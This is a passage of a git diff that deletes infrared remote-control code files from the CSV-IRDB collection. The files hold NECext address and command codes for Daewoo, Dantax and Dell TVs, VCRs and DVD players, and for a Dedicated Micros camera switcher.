parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: TYPE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 18 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4C 00 00 00 -# -name: VPS/PDC -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: ShowView -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9E 00 00 00 -# -name: MENU/TV -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir deleted file mode 100644 index cc4f94f54..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: AFT/Band -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: Preset -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: Auto_Search+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0E 00 00 00 -# -name: Fine_Tuning+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: Auto_Search- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: Fine_Tuning- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: Hour -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: Minute -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 19 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1F 00 00 00 -# -name: KEY_3- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 28 00 00 00 -# -name: KEY_4- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 38 00 00 00 -# -name: System -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 39 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir deleted file mode 100644 index 256f0c229..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: normal -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: pr_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: pr_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: system -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: i-ii -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: two_semicircles -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: woofer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: scartmode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: tvmode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir deleted file mode 100644 index 28c0eee9a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: RECORD_OTR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: CH_TRACK_+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: CH_TRACK_- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: CM_SKIP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: CHILD_LOCK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 33 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 36 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 39 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir deleted file mode 100644 index 5bf27d86e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: FRAME_< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: L/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: SUB_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: SUB_TITLE_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: GO_TO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir deleted file mode 100644 index 64d39b3d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: l/r -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_3d -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir deleted file mode 100644 index 656a6b163..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: UNIT_SELECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 3_PAGES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: PAGES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: 2_PICS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: SPOT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 4_PICS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 4_PICTURES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: EVENT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: EVENT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: 9_PICS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: 9_PICTURES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 25 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 26 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir deleted file mode 100644 index 270fd749e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 01 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 02 00 00 00 -# -name: CHAN_DN -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 03 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 04 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 05 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 06 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 06 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 07 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 09 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 0B 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 0C 00 00 